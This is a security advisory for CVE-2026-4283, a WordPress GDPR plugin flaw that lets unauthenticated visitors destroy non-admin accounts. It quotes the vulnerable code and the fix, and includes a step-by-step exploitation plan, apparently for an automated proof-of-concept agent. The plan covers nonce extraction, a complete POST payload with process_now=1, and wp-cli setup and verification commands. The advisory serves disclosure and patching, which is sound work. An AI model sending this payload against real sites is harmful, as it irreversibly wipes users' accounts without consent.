WP DSGVO Tools (GDPR) <= 3.1.38 - Missing Authorization to Unauthenticated Account Destruction of Non-Admin Users
Description
The WP DSGVO Tools (GDPR) plugin for WordPress is vulnerable to unauthorized account destruction in all versions up to, and including, 3.1.38. This is due to the `super-unsubscribe` AJAX action accepting a `process_now` parameter from unauthenticated users, which bypasses the intended email-confirmation flow and immediately triggers irreversible account anonymization. This makes it possible for unauthenticated attackers to permanently destroy any non-administrator user account (password randomized, username/email overwritten, roles stripped, comments anonymized, sensitive usermeta wiped) by submitting the victim's email address with `process_now=1`. The nonce required for the request is publicly available on any page containing the `[unsubscribe_form]` shortcode.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:HTechnical Details
<=3.1.38What Changed in the Fix
Changes introduced in v3.1.39
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-4283 (WP DSGVO Tools) ## 1. Vulnerability Summary The **WP DSGVO Tools (GDPR)** plugin (<= 3.1.38) contains a critical missing authorization vulnerability in its unsubscription logic. The plugin exposes an AJAX action `super-unsubscribe` intended to allow user…
Show full research plan
Exploitation Research Plan: CVE-2026-4283 (WP DSGVO Tools)
1. Vulnerability Summary
The WP DSGVO Tools (GDPR) plugin (<= 3.1.38) contains a critical missing authorization vulnerability in its unsubscription logic. The plugin exposes an AJAX action super-unsubscribe intended to allow users to request account deletion. While this flow usually requires email confirmation, the SPDSGVOSuperUnsubscribeFormAction::run() method processes a process_now parameter that, when present, triggers immediate and irreversible account anonymization (doSuperUnsubscribe()). Because this AJAX action is registered via wp_ajax_nopriv_, it is accessible to unauthenticated users. An attacker can destroy any non-administrator account by providing the victim's email address and process_now=1.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
super-unsubscribe(registered viaSPDSGVOSuperUnsubscribeFormAction) - Authentication: Unauthenticated (available to any visitor).
- Vulnerable Parameter:
process_now(triggers immediate execution) andemail(target account). - Nonce Requirement: Yes, the endpoint checks for a nonce using
checkCSRF(). However, this nonce is publicly exposed on any page utilizing the[unsubscribe_form]shortcode.
3. Code Flow
- Entry Point: A
POSTrequest is sent toadmin-ajax.phpwithaction=super-unsubscribe. - Registration:
SPDSGVOSuperUnsubscribeFormAction::listen()callsadd_action("wp_ajax_nopriv_super-unsubscribe", ...)allowing unauthenticated access. - Nonce Check: The class inherits from
SPDSGVOAjaxAction. Itsrun()method calls$this->checkCSRF().checkCSRF()(inincludes/class-sp-dsgvo-ajax-action.php) expects a nonce in$_REQUEST['_wpnonce'].- The action string for the nonce is
super-unsubscribe-nonce.
- Processing:
SPDSGVOSuperUnsubscribeFormAction::run()(inpublic/shortcodes/super-unsubscribe/unsubscribe-form-action.php):- It checks
$_POST['website'](honeypot). - It checks for
$_POST['email']and$_POST['dsgvo_checkbox']. - It instantiates an
unsubscriberobject viaSPDSGVOUnsubscriber::insert(), passing theprocess_nowvalue from the request. - Vulnerable Logic:
if($this->has('process_now')){ $unsubscriber->doSuperUnsubscribe(); }
- It checks
- Sink:
doSuperUnsubscribe()(inSPDSGVOUnsubscriberclass, inferred from context) performs the irreversible anonymization: randomizing password, stripping roles, and overwriting user data.
4. Nonce Acquisition Strategy
The nonce is rendered in the HTML form generated by the [unsubscribe_form] shortcode.
- Setup: The attacker (or PoC agent) ensures a public page contains the shortcode
[unsubscribe_form]. - Navigation: Navigate to the page using
browser_navigate. - Extraction: Use
browser_evalto extract the nonce from the hidden input field generated bywp_nonce_field.- Verification: The shortcode file
public/shortcodes/super-unsubscribe/unsubscribe-form.phpuses:wp_nonce_field( 'super-unsubscribe-nonce' ). This creates an input withname="_wpnonce". - JS Path:
document.querySelector('input[name="_wpnonce"]').value
- Verification: The shortcode file
5. Exploitation Strategy
Step-by-Step Plan:
- Target Identification: Identify the email of a non-admin user (e.g.,
subscriber@example.com). - Nonce Retrieval:
- Access the page with the
[unsubscribe_form]shortcode. - Extract the value of the
_wpnoncefield.
- Access the page with the
- Payload Construction:
- Method:
POST - URL:
http://target.local/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=super-unsubscribe& _wpnonce=[EXTRACTED_NONCE]& email=subscriber@example.com& dsgvo_checkbox=1& process_now=1& first_name=Attacker& last_name=Attack& website= - Note:
websitemust be empty to pass the honeypot check.
- Method:
- Execution: Send the request using the
http_requesttool.
6. Test Data Setup
- Target User: Create a subscriber user:
wp user create victim victim@example.com --role=subscriber --user_pass=password123
- Public Form Page: Create a page where the unsubscription form (and nonce) is visible:
wp post create --post_type=page --post_title="GDPR Unsubscribe" --post_status=publish --post_content='[unsubscribe_form]'
- Identify Page URL: Determine the URL of the newly created page to visit for nonce extraction.
7. Expected Results
- The AJAX request should return a
302 Redirect(standard behavior inSPDSGVOAjaxAction::boot) or a successful response. - The
victim@example.comaccount should be destroyed. - Internal WordPress metadata for the user should be modified (randomized username/email/password).
8. Verification Steps
- Check User Existence: Try to fetch the user by their original email.
wp user get victim@example.com- Expected: Failure (user not found) or the email should be changed to an anonymized string (e.g.,
deleted-user-...).
- Check User Status: Check the
userstable for recent modifications.wp db query "SELECT user_login, user_email, user_pass FROM wp_users WHERE ID = [VICTIM_ID]"- Expected: The
user_loginanduser_emailwill no longer match "victim" or "victim@example.com". Theuser_passhash will have changed.
- Check Capabilities:
wp user list --field=roles --user=[VICTIM_ID]- Expected: Roles should be stripped or empty.
9. Alternative Approaches
- Missing Checkbox: If the
dsgvo_checkboxcheck fails, the plugin errors out. Ensure it is explicitly set to1. - Honeypot: If the request fails with no response, verify the
websitefield is truly empty/null in the POST body, asif(!empty($_POST['website'])) die();will kill the process silently. - Admin Target: The description specifies "Non-Admin Users". Attempting this against an administrator account may fail if
doSuperUnsubscribecontains ais_super_adminoradministratorcheck (common in WordPress privacy tools). Always target asubscriberorcontributorfor the PoC.
Summary
The WP DSGVO Tools (GDPR) plugin is vulnerable to unauthenticated account destruction due to a missing authorization check in the 'super-unsubscribe' AJAX action. By submitting a request with the 'process_now' parameter, an attacker can bypass the intended email confirmation flow and immediately trigger the irreversible anonymization of any non-administrator user account.
Vulnerable Code
// public/shortcodes/super-unsubscribe/unsubscribe-form-action.php Class SPDSGVOSuperUnsubscribeFormAction extends SPDSGVOAjaxAction{ protected $action = 'super-unsubscribe'; public function run(){ if(!empty($_POST['website'])) die(); // anti spam honeypot $this->checkCSRF(); if(!$this->has('email') || empty($this->get('email', NULL, 'sanitize_email'))){ $this->error(__('Please enter an email address.','shapepress-dsgvo')); } if(!$this->has('dsgvo_checkbox') || $this->get('dsgvo_checkbox') !== '1'){ $this->error(__('The GDPR approval is mandatory.','shapepress-dsgvo')); } $unsubscriber = SPDSGVOUnsubscriber::insert(array( 'first_name' => $this->get('first_name'), 'last_name' => $this->get('last_name'), 'email' => $this->get('email', NULL, 'sanitize_email'), 'process_now'=> $this->get('process_now'), 'dsgvo_accepted' => $this->get('dsgvo_checkbox') )); // ... if($this->has('process_now')){ $unsubscriber->doSuperUnsubscribe(); } if($this->has('is_admin')){ $this->returnBack(); } // ... } } --- // includes/class-sp-dsgvo-ajax-action.php public static function listen($public = TRUE){ $actionName = self::getActionName(); $className = self::getClassName(); add_action("wp_ajax_$actionName", array($className, 'boot')); if($public){ add_action("wp_ajax_nopriv_$actionName", array($className, 'boot')); } }
Security Fix
@@ -31,18 +31,28 @@ $this->error(__('The GDPR approval is mandatory.','shapepress-dsgvo')); } - $unsubscriber = SPDSGVOUnsubscriber::insert(array( - 'first_name' => $this->get('first_name'), - 'last_name' => $this->get('last_name'), - 'email' => $this->get('email', NULL, 'sanitize_email'), - 'process_now'=> $this->get('process_now'), - 'dsgvo_accepted' => $this->get('dsgvo_checkbox') - )); - - if (SPDSGVOSettings::get('su_email_notification') === '1' - && SPDSGVOSettings::get('admin_email') !== '' - && $this->has('process_now') == false) - { + $is_admin_request = $this->has('process_now') && current_user_can('manage_options'); + $is_privileged_request = $this->has('is_admin') && current_user_can('manage_options'); + $requires_email_confirmation = !$is_privileged_request; + + $unsubscriber = SPDSGVOUnsubscriber::insert(array( + 'first_name' => $this->get('first_name'), + 'last_name' => $this->get('last_name'), + 'email' => $this->get('email', NULL, 'sanitize_email'), + 'process_now'=> $this->get('process_now'), + 'dsgvo_accepted' => $this->get('dsgvo_checkbox'), + 'status' => $requires_email_confirmation ? 'unconfirmed' : 'pending', + )); + + if ($is_privileged_request && $this->has('process_now') == false) { + $this->notifyAdmin($email); + } + + if ($is_admin_request) { + $unsubscriber->doSuperUnsubscribe(); + $this->returnBack(); + }
Exploit Outline
To exploit this vulnerability, an unauthenticated attacker first obtains a valid CSRF nonce ('super-unsubscribe-nonce') by visiting any public page on the target site that includes the '[unsubscribe_form]' shortcode. With this nonce, the attacker sends a POST request to the '/wp-admin/admin-ajax.php' endpoint with the 'action' parameter set to 'super-unsubscribe'. By including the target user's email address and setting the 'process_now' and 'dsgvo_checkbox' parameters to '1', the attacker triggers the immediate execution of the 'doSuperUnsubscribe' method. This method anonymizes the victim's account by randomizing their password, overwriting their username and email, and stripping their user roles, effectively destroying the account.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.